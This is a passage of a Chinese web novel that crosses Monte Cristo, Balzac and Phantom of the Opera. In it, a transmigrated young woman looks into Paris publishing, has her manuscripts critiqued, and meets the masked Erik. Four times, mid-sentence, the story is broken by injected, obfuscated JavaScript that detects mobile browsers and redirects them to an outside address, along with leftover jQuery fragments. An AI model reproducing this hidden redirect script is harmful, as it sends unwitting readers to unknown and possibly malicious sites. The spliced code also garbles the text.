“作保?”珍妮的表现真的很有感染力,但维持一个高不可攀的伯爵人设有助于让爱德蒙更理性的思考:“你如果想直接出书,那确实是要找人作保。” 他倚靠着精美的抱枕,右臂弯在沙发背上的金属脊上:“姑娘,您知道巴黎的书有多贵吗?” 珍妮只得摇了摇头。 基督山伯爵用没搭椅背的另一只手冲其比了个数字六:“塞纳河边的旧书店以半价回收书商送给剧评家们的初版样书,每天能赚二十法郎。” “二十法郎?”伏盖公寓的日租就要七十二法郎,这么看那旧书商也赚得不多,“您是想说巴黎的印刷成本并不便宜。” “这是其一。”比六的手在此刻变二:“剧评家们的样板书多半是没切掉书边,乍一看与新书没有太大区别。” 珍妮露出思索的表情,应该是懂基督山伯爵想说些什么:“这样书能压到半价……足以见得出书真的很难回本。” 因为大学的专业使然,珍妮知道除非是些大热IP,否则作品的实体出版几乎赚不了三万以上。 “即使你是保尔.德.科克(巴尔扎克在《幻灭》里提到的法国小说家,据说马克思也相当喜欢他的作品。除此外,法国的很多作家也会在小说里提到这位十九世纪的文学明星。)……”比二的手在空中划出优美弧度,指尖因此狠狠朝下:“也只能在旧书店里获得一个打折地位。” 末了,他还补充道:“《儿童法国史》和《簿记二十讲》除外。” 说到畅销,珍妮想起年少成名的玛丽.雪莱一直都被怀疑不是《弗兰肯斯坦》的真正作者,以至于在剧院上演这部载入文学史册的大著作时,海报上的原作都没署名玛丽.雪莱,而标着玛丽的丈夫,大名鼎鼎的珀西.雪莱。即使后者一再拉着好友证明《弗兰肯斯坦》真的是他妻子的作品,关于玛丽的作者质疑还是闹到她去世后。 也是有了玛丽.雪莱的悲惨打样,作者……尤其是些年少成名的女作者才少了很多代笔的非议。 “这听起来很不妙啊!”来前还是信心慢慢的珍妮开始焦虑起来,下意识地想要去啃右手的指甲。 “酒醒好了。”基督山伯爵突然暂停了正事的节奏:“要不来点糖渍草莓?黎塞留大街上的老字号。” “谢谢。”对方把果盘推到自己面前,珍妮也礼貌性地吃了两颗。 “看来你的雄心倒在了解真实的出版业上。”酒水加上糖渍草莓,珍妮终于放松下来,基督山伯爵也重启刚才的正式谈话:“小说的稿费肯定是比散文、诗歌要高,但不如译文稳定。” “译文?” “那个叫简.奥斯汀的英国女人点燃了世界。”明明是赞赏的话,但基督山伯爵的语气不是一般刻薄:“我不懂一乡下姑娘写的言情小说有什么好看的。“ 末了他还拉踩了句:“不过这也符合路易的鉴赏水平。” 喝酒的珍妮努力不被这话呛到:“简.奥斯汀的小说是汤德斯先生推给您的?” 基督山伯爵露出不想承认此事的别扭表情:“准确说是送给我的父亲打发养病时光。” “那你父亲一定和你品味不同。” “何以见得?” “又不是与你家有仇,谁会送些不讨喜的东西。”珍妮想起爱德蒙在书稿里小心藏起的一袋金币:“汤德斯先生性格温柔,风趣心细。” 珍妮盯着基督山伯爵的眼睛,笑着说出肯定的话:“他不会讨厌的事。” 即使是有胡子遮挡,珍妮仍能看到对方的嘴角上扬。 “况且仅靠闺房的女儿,也不能让英国的作品在这儿获得强烈反响。”珍妮突然身体前倾,逼得对方收起靠着的懒散姿态:“拿破仑曾批判这种言情小说是女仆的读物。” “很正确的说法。” “可他自己批判性地反复阅读《少年维特的烦恼》,甚至因此写信要求歌德修改小说结局。” 这还是她头次看到杏仁眼的基督山伯爵。 胡子下的嘴角因此下撇,随即又上扬起来:“哈哈哈哈哈……” 珍妮不知“拿破仑看言情小说”的笑点在哪儿,但对方就是笑得差点东倒西歪。 “拿破仑?那个差点统一欧洲,变成当世的查理曼的拿破仑……”基督山伯爵喘着气同珍妮笑道:“居然爱看言情小说。” 一时间,阴暗的牢房,潮湿的空气,混合锈味的记忆朝他一齐涌来。 失去自由的上千日里,他不可能没有怨过导致他进伊夫堡的罪名由来。 神父可以丰富他的精神世界,但不能帮他把怨恨的大锁撬开、砸碎。 珍妮很怕基督山伯爵因此噎住:“您没事吧!” 对方一边摆手一面剧烈咳嗽。 “我们之前说到哪儿了?”基督山伯爵声音嘶哑道。 “小说的稿费比散文高,但是不如译文稳定。”珍妮想到自己的长处,眼睛亮得基督山伯爵赶紧打消她的妄想:“英法的译文价被急需用钱的大学生杀到每本一百法郎。” “……” “西班牙文和意大利文、德文也是同一情况。” “小语种呢?” “小语种那更完蛋了。” 彼时正值埃及热和亚洲热,自学诸如阿拉伯语、波斯语、日语、汉语以及埃及语在闲着没事的学术圈并不少见:“巴黎的出版商从来不雇外面的人做这种翻译,他们都是直接去捡大学城里的教授的译文。” 基督山伯爵并不想把珍妮打击得再也没有写作的欲望,可现实就是如此残酷:“没有名望,谁会相信你翻译的没有问题?” “……” 珍妮只是默默低头。 石榴色的酒液映出给她带来无数便利的娇艳面容。 “姑娘。”基督山伯爵于心不忍道:“你要是能找到翻译小语种的活计,也不会来葛勒南街找我牵线。” “是的,是这样没错。”珍妮努力乐观起来。 抛开翻译的名望门槛,如何解释她能翻译小语种也是个问题,搞不好会…… 等等! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14906720|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解释。 灵光乍现的珍妮想起一男一女:“报纸和杂志的稿费几许?” “有门路的新人每篇可赚三十法郎,没门路的能拿一半都算书商良心未泯。”这些都是神父昨晚与他说的:“当然,你要是和保尔.德.科克一样有名就另当别论,他估计能每篇拿到二百法郎。” “你说他的作品样本在旧书店得打折卖。” “对。”基督山伯爵并不觉得这话有错:“报纸的利润本来就低,玩得就是薄利多销。塞纳河边的旧书老板与其去卖二手报纸,还不如与报社合作,这样还有得赚。” 许是想到不开心的事儿,基督山伯爵露出一抹阴冷的笑:“况且那群秃鹫都敢威胁政客。巴黎的书商若是没有求死之心,最好别把报社惹毛。” 聊了半天,伯爵的酒杯已彻底空了:“这样吧!我请我的父亲写封推荐信,你拿去给任何一家的报社都会同意刊登你的作品。” “谢谢。” “先别急着感谢我。”基督山伯爵又恢复了不近人情的高傲姿态:“科学的门槛太高,法律又过于枯燥。神学只有不怕死的才敢置喙,而且你敢说也不一定能有报社敢发这种文章。” “综上所铸,文学与艺术才是一些不想被说无所事事的花花公子证明自己的最佳场所。” “我明白了。”这话是说报社每天都有拿着推荐信来“证明”自己的富家少爷。 ………… 因为对外的形象是个卧病在床的残疾老人,直到珍妮告辞回家,神父也没与她见面。 “聊清楚了?”忍了一天才下楼转转的神父拄着拐杖问道。 “她没有想分享宝藏,只是求我帮忙牵线出版文章。”爱德蒙把伯爵的架子甩到一旁,跟着神父回到楼上的休息室里:“要不您来看看她的文章如何?” 他把一叠原稿递给戴上眼镜的神父,里头包括他进城时看的那部架空小说。 除了改过的西幻小说,珍妮还把爱德蒙没评价过的侦探小说稍稍润色。 神父一边翻着手稿,一面打量叉腿坐并捏着鼻梁的爱德蒙:“要是她在报社那儿没混出名堂,你也不会放着不管。” “即使没有今天的谈话,我也会给她置办笔不菲的年金。”想起那句“待若亲女,爱德蒙便有意去摸眼角细纹:”这可真是当晚辈看。” 神父的表情略显失望。 一时间,屋里除了壁炉烧柴的“劈啦”声,就只剩下节奏稳定的翻纸声。 “怎么样?” 因为是给他们试读,所以珍妮带的还是爱德蒙在进城的车上看的几章。 “我更喜欢侦探小说。”爱德蒙从神父的脸上看到了丝如释重负:“她对历史的了解就是一点皮毛,所以这本小说读着十分古怪。” “古怪?”爱德蒙和神父相反,他更喜欢珍妮基于《冰与火之歌》二创的架空小说:“这本难道不好看吗?” “……你是觉得这本比这本好?”神父感到十分奇怪:“难道真是年轻人的品味与众不同?” 22.第 22 章 神父也没强求他的养子和他品味一样,但是差到如此地步还是令他难以置信:“我再瞅瞅。” 粗翻后仍没有感到太大变化:“还是这本侦探小说更合我意。” 爱德蒙对神父的品味非常信服:“记得咱们刚见面时,我连亚历山大六世(波吉亚教皇,凯撒.波吉亚的父亲)和克雷芒七世(美第奇家的成员,拒绝宣布亨利八世和阿拉贡的凯瑟琳的婚姻无效)都不认识。” 他把珍妮的书稿拿来翻了几页。 “如何?” 爱德蒙很坦诚道:“我还是对普通人成伯爵之子的权谋小说更感兴趣。” “权谋?” 这声音让翻书中爱德蒙抬眼望去。 神父的眉头微微一皱,向养子伸手要回书稿。 “原来如此,原来如此。” 因为曾经的职业使然,神父的阅读速度非常之快:“我知道这权谋小说的违和感是怎么来的。” 神父抽|出几张摊在爱德蒙前:“看看。” 一张是写金色皇后与男主的对峙。 一张是写金色皇后和沃尔福特公爵的对峙。 爱德蒙把两段剧情反复阅读,终于看出神父说的违和之处:“反应不对。” 无需神父多点一句,爱德蒙又抽出男主对上固执的沃尔福特公爵,以及腰围直逼两米的亚历山大国王的相关片段:“都不对劲。” 虽然是为突出主角的机智勇敢,但是这些角色在与主角互动时都不太自然。 俗称,崩人设。 “不止这些。” 神父的眼光非常毒辣:“你看关于黑水港和维尔利特城,冬日城的描写。” 爱德蒙也顺势看去。 果然,乍一看没太大问题,细看下却疑点重重。 “太突兀了。”按照书里的各方说法,黑水港虽处于北地,但是因为处于北地的东南面,所以气候接近东部,信仰上也与其一致。然而东部也不是啥膏腴之地,即使依靠山野海港,也不过比北地强些,跟西部、中部、以及最富的南部压根没法比。 然而在珍妮的笔下,黑水港的富裕程度比上述几地有过之而无不及。 “虽然作者一再强调沃尔福特公爵心胸宽广,诚实可信,但公爵的态度并不代表附庸、臣民的态度。”神父说罢还抬头看了养子一眼:“这世上有一人瞧着你好便会送上祝福,就有三倍的恶人希望拉你下来。” 爱德蒙他没有抬头,而是继续查找文里的违和之处:“你觉得这不是珍妮自己写?” “是,但也不全是。” “……什么意思?” 神父递给养子一颗糖渍草莓:“尝尝。” 爱德蒙吃下便见神父递来糖渍葡萄:“漱口后吃。” 吃完葡萄又被要求漱口后同时吃下两种果干。 “如何?” 有了糖果的感官刺激,爱德蒙也明白对方想说什么:“她是在别人的文上进行创作,而且因改得太多而失了本味。” “这就像是有人重写《哈姆雷特》。”神父也是阅文无数,堪称读者的老饕餮。管中窥豹,能编出这世界观的肯定不是泛泛之辈。 至少不是十七岁的珍妮能办到的。 “她的阅历不足以编出这种世界观。” “也许是天赋异禀。” “再异禀的天赋也有外力催化。”神父坚持自己的想法:“二十五岁的歌德能写《少年维特的烦恼》,但不能写《浮士德》。同理,闻名英国的奥斯汀小姐也无法将背景搬到她熟悉的乡村以外。” 这话实在太有道理了,爱德蒙想为她说话都无从下口。 “她又没有当过警察。” 神父刚想收起书稿,爱德蒙又憋了句辩解的话:“为何你没因此去挑侦探小说的错。” “……“问的好,他还真没想过这个严肃的问题。 神父把理好的书稿再次弄乱。 不提不知道,细看吓一跳。 爱德蒙对侦探小说的喜爱不如漏洞百出的架空小说,可神父却对珍妮没有大改过的侦探小说评价颇高——虽然没有华丽的词汇与精妙背景,但剧情的设计已经达到优秀的门槛。 不知为何,神父在读侦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913305|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 探小说时,可以感到作者的痛苦,而翻阅那本疑似改写的架空小说则没有透过文字触碰作者的灵魂。 “太奇怪了。”直觉告诉神父这文不会出自少女之手,可珍妮还有其它作品,完全可以透过那本权谋小说的用词造句确定这本侦探小说也是出自同一人手。 “也许我该找她问问。”神父决定今晚就回戈布兰区:“我记得她说过想学意大利语。” “那你如何解释你已看过小说?”爱德蒙可没有忘记他立下的伯爵人设:“总不能让葛勒南街的伯爵父子与戈布兰区的汤德斯家同时出现。” “这有什么可烦恼。”神父觉得养子是在大惊小怪:“我是神父,来给卧病的斯帕达伯爵祈祷也是很正常。” “可我已经表现过对路易.汤德斯的轻蔑。” “哎!这有什么可头疼。”神父也是脑洞不输市面上的小说家们:“马赛的渔贩千千万,汤德斯先生凭啥做上葛勒南街的伯爵生意?还不是因家庭教师认识卧病的伯爵大人。” 想起他曾“吐槽”过那“路易送给斯帕达伯爵的小说没有可看之处”,爱德蒙的脸上闪过一丝的尴尬。 “……你这又是什么表情?” 神父没有错过养子的不自然处——这一看就有情况啊!“你们间又发生了啥?“ 面对神父的步步紧逼,爱德蒙也很快交代了谈话的插曲。 “噗哈哈哈!” 神父作为红衣主教的秘书也是见过不少离谱的事儿。 但离谱到开两号在一人面前狂损马甲的,倒也真是头一次见。 “你……哎!我不知要怎么说你。”笑够了的神父看着双手捂脸的养子也是没有客气:“基督山伯爵前脚刚把汤德斯骂完,后脚你就挂着渔贩的皮囊去骂高高在上的伯爵大人。” 神父在桌上怼奇理好的小说手稿,话里的戏谑愈说愈浓:“可别哪天当贵族时忘了你是基督山伯爵,让人瞧出古怪之处。” “好吧!”爱德蒙把双手放下:“再粗心也不会当做|爱德蒙.唐泰斯。” 神父的笑容立刻消散的无影无踪。 23.第 23 章 珍妮一回伏盖公寓便对上一张不悦的脸。 “哟!伯爵家的大小姐回来了。”伏盖太太还是早上的滑稽打扮,脸上的残妆让她显得十分可笑:“你有见到老伯爵吗?” 因为珍妮没理她地直接上楼,伏盖太太很着急道:“斯帕达伯爵长得如何?英俊吗?还能下地走几圈吗?” 《高老头》里的伏盖太太就想嫁进豪门当个无所事事的贵妇人,眼下还是初心未变:“好小姐。” 她又变回了可怜兮兮的语气:“你就与我说说那位老伯爵吧!” 珍妮闻言叹了口气,心想下月一定搬出圣-日内维新街:“我没见到卧床的斯帕达伯爵。 “怎么可能。”伏盖太太很不悦道:“谁做客会不去拜访一家之主。 “主人家他不想见我。”珍妮在此撒了个慌——因为她从未要求拜见“卧病”的斯帕达伯爵,而出面待客的基督山伯爵也乐得珍妮不提这事儿:“我一姑娘总不能闯老伯爵的病房。” “这倒也是。”珍妮的外表再次替她省了麻烦:“你这样的丫头片子……还真不好随意安置。” 珍妮不懂伏盖太太想到了啥,但是对方确实再次变得和颜悦色:“你下月还住在这儿?” “看情况吧!”珍妮已有搬离公寓的微弱念头,但是碍于囊中羞涩,加之她也没路子去找到比这更划算的公寓,所以只能含糊不清道:“斯帕达伯爵给我写了介绍信。” “你不是说没有见过老伯爵吗?” “是啊!”珍妮依旧面不改色心不跳道:“接待我的是基督山伯爵,但是他的年纪不便替我作保,所以求了卧床的老伯爵帮我写封介绍信。” 伏盖太太以为这是介绍珍妮去女校。 基督山伯爵未婚又没女性长辈,确实不如老伯爵更适合担任未婚女孩的监护人:“他们对你可真好啊!” 这倒是句难得的实话。 ………… 索姆城在巴黎北部的皮卡第区不算有名,至少跟亚眠相比,它仅有那一望无际的葡萄地与中世纪的府邸、修道院供停留于此的外省人津津乐道。 沿着一条直通高地的旧路走去,你便能在几百年的老城堡下看到一群歪歪扭扭的旧房屋。它们的造型已宣示着被人遗弃,唯有一处不太破烂的贵族宅邸灯火通明,烟气缭绕,但是瞧这残破的外型,你也很难确定他是贵族宅邸,而不是些流浪者的聚集之地。 “要是拿侬在家,我也不必干这些活。”宅邸的大门前,头发花白且有着一颗蒜头鼻的老人站在嘎吱作响的大木梯上。也不知他如何挺着接近身长的肚子还能灵活得堪比杂技演员。 瞧着天已渐渐暗去,不想去点油灯的老人决定明天对付该死的门牌。 女仆不在,老人的女儿只得放下针线操持今天的晚饭——她母亲的身体每况愈下,已经到了无法下床的悲惨地步。 “你父亲派拿侬去巴黎做什么?”母亲忍着剧痛喝了半碗肉汤便向女儿问道:“他舍得花几十法郎供拿侬前往巴黎卖掉一文不值的废铜烂铁。” 虽然她把顺从当成人生信条,但是见过丈夫如何残忍对待春心萌动的独生女后,她对丈夫的爱意与对天主的虔诚还是败在最伟大的母爱下。 瞧着因为丈夫的囚|禁逐渐枯萎的可怜女儿,母亲的心就好像死了,并且觉得病死是她最好的归宿——因为她的丈夫是靠妻子的嫁妆、岳母的遗产,以及岳母的老父亲与自个儿祖母的遗产才有今日成就。 她和丈夫只有一女,而她的父母也不过是更泼辣的自己与更慈爱的丈夫。 一旦她因重病回归上帝的怀抱,那么丈夫“替”她打理的一笔嫁妆、两笔遗产就得由她可怜的女儿独自继承。 母亲也没想过女儿反抗她那专制的丈夫,只是觉得有笔金子转到可怜的女儿名下,丈夫会对违逆的女儿更宽容些。 “听说是与曾外祖父的弟弟有关。” 母亲的外祖父曾是王室的卫队一员。如果没有科西嘉的矮子,德-拉-贝尔特尼埃依旧是个有名的姓氏。 “我叔外祖父?”母亲的大脑因供血不足而略显迟钝:“我结婚时都没见他。“ 老德-拉-贝尔特尼埃的吝啬程度也只是比油盐不进的外孙女婿略强一些。因为他的家族使然,兄弟两在拿破仑VS波旁里两头下注。作为弟弟的小德-拉-贝尔特尼埃和大多数的次子般只继承了少量遗产,所以在哥哥付出一笔钱后,他选边当时弱势的波旁家。 未免被人清理九族,小德-拉-贝尔特尼埃很早把独女连同部分遗产一并送到英国避难。 虽然对波旁的支持仅限于口腔体操,但就像是差生考试——题不会做不要紧,关键的是翻卷的声音一定要响。 波旁复辟后,对于出手的“忠臣”肯定多有赏赐,连不知生死的小德-拉-贝尔特尼埃都分了杯羹。 “你父亲已找到我的叔外祖父了。” “准确说确认您的叔外祖父是否有除您以外的遗产继承人。”女儿清楚父亲的性格是绝不会做无用功:“我记得您说过您的表姑嫁去英格兰。” “是这样没错。”母亲已经知道丈夫想干什么:“说是表姨,实际比我小了两岁。” 许是因为女儿以外的血亲都已去见上帝,母亲对那素未谋面的表姑有种莫名的好感,想象她是圣母般的慈爱女人:“但愿她能替我守护你和拿侬。” 女儿喂完母亲便回厨房清理残羹冷炙。 桌边的父亲见了她便冷哼一声,但是想到公证人的警告,不得不拉着脸向女儿问道:“你母亲她精神好吗?吃得多吗?” 女儿刮着胶水似的冷粥回道:“都好。” “你与她说过拿侬去了哪儿吗?” “说过。” “那你母亲有何反应?” “她很期待能与表姑见上一面。”女儿已经不想深究父亲的目的,脸上尽是受足伤后的麻木疲惫:“她希望已嫁到英国的表姨婆能照顾我。” “……” “还有拿侬。” 老人的脸又变回之前的阴沉可怕。 ……………… 回到公寓的珍妮把那滚金边的介绍信举起看了好一会才收进箱子。 基督山伯爵的建议在耳边萦绕,让她无法专心创作。 “我真的能赚到钱吗?” 一时间,各式各样的失败场景把她压得喘不过气。 “呼……” “呼……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14918823|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 珍妮艰难地翻了个身,好歹是把胸衣的带子给扯开了。 穿越前的父母去后,珍妮已经很久没有这么绝望了。哪怕是在临近毕业的求职期,她也已经做好去当老师的准备。累是累了些,但好歹比现在要强。 珍妮的鼻腔涌上酸意,眼里却没一滴泪水。 她就这么一直躺倒西尔维来提醒她去下楼吃饭。 公寓的晚饭还是那么难以下咽,但是有了伏盖太太的妙语连珠,你只要被带着去听饭桌上的话,多少是能喝下一碗盐巴多了的洋葱肉汤。 “今晚还要泡咖啡吗?”西尔维在珍妮准备回房间时开口问道。 “我今天想早点睡。”哪怕躺了小半个下午,她也感到十分疲惫。 一夜无梦。 第二天便没了那种窒息的感觉。 ……………… 神父一回葛勒南街便换上喜爱的粗布旧帽,把脚搁在半旧不新的小矮凳上修改珍妮的最新书稿。 “她的确有写作的才能。”神父把那侦探小说又读了遍,搬来不少参考书以论证小说的犯罪方法。 随着他对小说的兴趣愈来愈浓,手边的书也渐渐摞成弯曲的山。 光是有书还不够啊!神父还做了几个模型进行二次论证:“真不知那小脑瓜里装着多少奇思妙想。” 不过站在读者以外的角度来看这部作品,神父不免脖颈冒起鸡皮疙瘩——万一有人效仿里头的犯罪的桥段,以巴黎警方的职业素养,估计等到下个世纪都无法破案。 “不行,这我真的找她聊聊。”神父是个实打实的行动派,当下扯了外套前往圣-日内维新街的伏盖公寓。 原以为能碰到在家埋头创作的珍妮,谁料他竟扑了个空。 “哦!那博林小姐上哪儿去了?” 伏盖太太本不想理衣着朴素的法利亚神父,直到对方搬出了把珍妮带来的路易.汤德斯,她才有些不情愿道:“应该是去塞纳河边的旧书店了。” “旧书店?” “那孩子若不出门便呆在房里埋头写作。”伏盖太太很不解道:“有脑子的年轻人都忙于社交。” “这姑娘。” “哎!” 神父没有理会还在长吁短叹的伏盖太太,谢过对方便匆匆离开。 塞纳河边的旧书店和中央广场,大学城般是外省人来巴黎打卡的名胜之地。 这一路的咖啡馆也多不胜数。 所谓的中产就是早上坐在撑起大伞的露天座上,一边等着女侍送来发法式早餐,一面阅读熨烫过的今日早报。 “他们的皮鞋可真亮啊!”珍妮路过某个挂着拉丁牌匾的咖啡馆时,听到一个年轻人很嫉妒道:“假如没有那场革命,我的母亲应该还是高高在上的贵族小姐,我也不会沦为一介兜里没有几个子的窘迫诗人。” 珍妮听了,很难不在心里默默嘲讽两句——呵!你要是在凡尔赛宫,不为社交借债借得倾家荡产都算法王宽大仁慈。估计那时,你的法王会让你在巴士底狱体会啥叫“波旁的恩情还不尽”。 年轻人的同伴拍拍他的肩膀,调侃似的安慰道:哦“你都已经搭上几个贵妇人了,何至于去羡慕这群西装的牛马。” 24.第 24 章 塞纳河岸的书店可谓参差不齐,一部分如咖啡馆般门面散发着旧木头的特殊香气,挂着油灯的单人门旁是没有被木栏切割的大块玻璃,里头用些二手的布料,小布花,以及不知从哪儿捡的小树枝装扮橱窗。 珍妮曾在永远都是冷冷清清的小书咖前看到堆成简易城堡的推荐书籍。谁会放在展示封皮的最顶端则取决于有多少人来线下消费,或是有位善解人意的出版商给老板送了一条围巾。 “进来瞧瞧?”售货员把胳膊搭在有点年头的前台上,环住用于打发时间的书:“要是没有想买的书,可以去门外看看近期的广告。” “您不知道书店外贴了什么?” 对方只是耸耸肩道:“我能认出出版商的脸,但没空在门口看着出版商将同行的广告撕下贴上自己印的。” “很常见吗?” “一天至少发生十次。” 售货员见珍妮没有到处看看,以为她是出版商的秘密探子:“不过也有更轻松的宣传方法。” “请将。” 售货员把他看的书立了起来:“您瞧!只需给我十二法郎,我就会在客人结账替你宣传。” “一本书要十二法郎?” “不不不。是十二法郎管一周。” 好家伙,这是古早的带货套路:“你的老板不管这事儿?” 售货员仿佛听到天大的玩笑:“他一老板还会在意我这三瓜两枣。” 珍妮只能讨好地笑笑。 书店的面积绝不算大,毕竟巴黎寸土寸金,塞纳河边的店铺更是贵得吓人。 这里卖的多是新书,最便宜的也要七法郎,和基督山伯爵提到的“未裁的样书对折也要三四法郎”的信息基本对上。 旧书是比新书便宜,按照折旧被分为三等。 珍妮翻了重新封线的最破旧书。 嗯! 两法郎加三十生丁。 这跟把钱扔进门口的塞纳河有啥区别。 “打扰了。” 进来聊了很久没却买点东西,珍妮不免感到羞耻。 售货员倒习以为常,耸耸肩又继续去看自己的书。 ………… 和光鲜亮丽的书店形成鲜明对比的是挤在两个店铺间的狭窄通道。 通道的一侧钉着一块歪歪扭扭的指示牌,上面写着“巴贝的旧书店,也期待有作品上门。” 珍妮沿着指示牌的方向进了巷底的小店——那是一个胡佛棚般的可怕屋子,像个扒着左邻右舍的结实的疙瘩。不同于被精心打理的“高级”书店,里头的书仅回收到的样书坐在高高的架上,余者都被摞成弯曲的“高塔”“低塔”。想必在这儿找书也是很困难的。 不过和刚才去过的书店一般,这里也是一个人在看着生意。他穿着件半旧不新的粗呢大衣,内衬的领上满是印刷油漆痕迹。 和珍妮见过的,应该成刻板印象的老板一般,他也有着圆滚滚的肚子,被肥肉挤得掩去大半精明之色的细小眼睛。 因为怕把文学界的“古董”付之一炬,看店的人仅叼着烟斗,并未点燃。 然而店里并非只有这一个人。 听到又有新人的脚步,店里的客人自动往那书塔的阴影挪动半步。 虽然未见其人的样貌,但是仅凭背影就能感受到他无比强烈的压迫感。 珍妮觉得这人的背影有点熟悉。 许是因为她的目光过于强烈,对方突然合上在看的厚皮笨书,弄出的声响吓人一条。 “小姐。”他终于愿转身看着眼神游移的珍妮,“神父难道没有教为人处世?” “……神父也没告之我对熟悉的背影多看几眼也能构成一种罪过。”珍妮知道他与神父有点交情,“万能的主也不会把这划为罪行。” 之前没有仔细去瞧,如今得以细看这个蝙蝠般的阴冷男人不经令她打了个寒颤——对方的个头相当之高,约莫是有六英尺或二英寸或六英尺又三英寸。他的肩膀也和他的身高一般极为可观,这让他在视觉效果上无比强壮,难怪会被珍妮当做黑漆漆的大蝙蝠。 和爱德蒙般,他也有着深色的头发与深色的眼睛。因为帽檐的作用以及书塔的阴影,他的眼睛几乎黑得看不见光,同冷白的皮肤,凌厉的线条形成强烈的明暗对比。 而一张把额头、右鼻,以及完整的右上颊都包裹起的面具更是加深了他冷硬五官的非人感。 “如果您能挪开快把我的皮囊彻底切开的无礼视线,我会勉强接受您的强词夺理。”无论是上次还是这次,对方都没好脸色看。 “哇!那可真是万般荣幸。”上次他对发病的神父施以援助之手,珍妮能从二者的谈话分析出这“蝙蝠”是个艺术从业者:“想必您在舞台上已习惯了被万众瞩目,又何必像贞女讨论奥维德(罗马诗人,作品多以爱情和骄奢淫逸的上流社会为主题)的著作般计较些你不必计较的事儿。” 珍妮不仅还在看他,而且还大大方方地扫过他那蒙住半张脸的面具,“您若是把心胸放在更重要的事上,兴许会有更大成就。” “是吗?”很难想象人类的鼻腔可以发出如此尖酸的奇妙音调,“我身边也有过心胸装的都是飞黄腾达的励志榜样。” 他突然把阴影甩到斗篷之后,靠近的压迫感令珍妮揪紧腿边的布料:“你猜他的下场如何?” 珍妮只能盯着他那建模般的凌厉下巴。 “他的胸膛被坠落的吊灯彻底打开。” 对方说到此处露出古怪的笑,双手也像指挥家般有节奏地悬空运动:“他不必去追求心中的宏大的理想。” 珍妮的表情没有他所期待看到的惶恐不安:“因为他的胸膛盛满膏腴和光亮。” “先生。”眼前的男人估计和爱德蒙年纪相仿,但是后者远比他要成熟温和,风度翩翩。 不是珍妮抱有偏见! ………… …… 好吧!哪怕是从偏见的角度评价此人,他也怪得像个还没纠正性格的中二少年—— 而且还是反社会的中二少年。 “先生。”珍妮对着凌厉的下巴叹了口气:“我觉得你应该去看心理医生。” “噗……”一直充当背景板的书店老板忍俊不禁地吐出烟嘴,冲着再次脸色一沉的男人说道:“埃里克,你终于也遇上没法对付的人。” 埃里克朝老板的方向冷冷一瞥,后者立刻举手做出投降姿态:“好吧!我不该借小姑娘的冒昧来取笑你。” 老板既然拉偏架了,珍妮也是见好就收:“我本想在确认您的身份后说声谢谢,谁料竟然惹你不快。” 对方没有理会珍妮的软话,而是绕过珍妮去找老板结账。 “先生。” 眼看这人即将离开,珍妮突然鬼使神差道:“您的面具真的很帅。” 对方的脚步因此一停,斗篷划过凌厉的弧度并转身怒瞪真诚的少女。 “真的很帅。” 虽然气质很不相符,但是这人让她想到大名鼎鼎的麻风王——她覆面控的启蒙形象。 ………… “好姑娘。我与那厮儿打了五年的交道也没见过他像今天这样怒不可遏。”旧书店的老板在熟客走后拾起烟斗,往袖口一擦便再次咬住,“现在店里就只有你。” 他指着快生根发芽的各种书塔:“这边是历史区,那边是科学区。你若想看女人的书,则要钻进里头找找。” “里头?“ 书店的入口还算整洁,越往里就越难落脚:“能找到吗?” 老板转着几乎不见得眼睛答道:“找书的服务五生丁一次。” “太黑心了。”珍妮撩起裙摆决定自力更生。结果那些女人的书都全是主妇的生活技巧,唯一能被珍妮归为“很有用”的是本厚得能砸人的草药书,扉页画着冒起的炉子“巴黎还有女巫的书?” “我们是天主教徒,不做烧人的恶心勾当。” “呵!说得好像法国没有宗教审判所。” 珍妮拍拍书的表皮,犹豫后向老板问道:“多少钱。” 老板比了个数字六:“因为你让埃里克落荒而逃,便宜卖你五法郎二十生丁。” “五法 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14921944|151697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 郎二十生丁?”珍妮跳过一堆书往老板的桌前奋力一冲,“这个价你干脆去抢?” 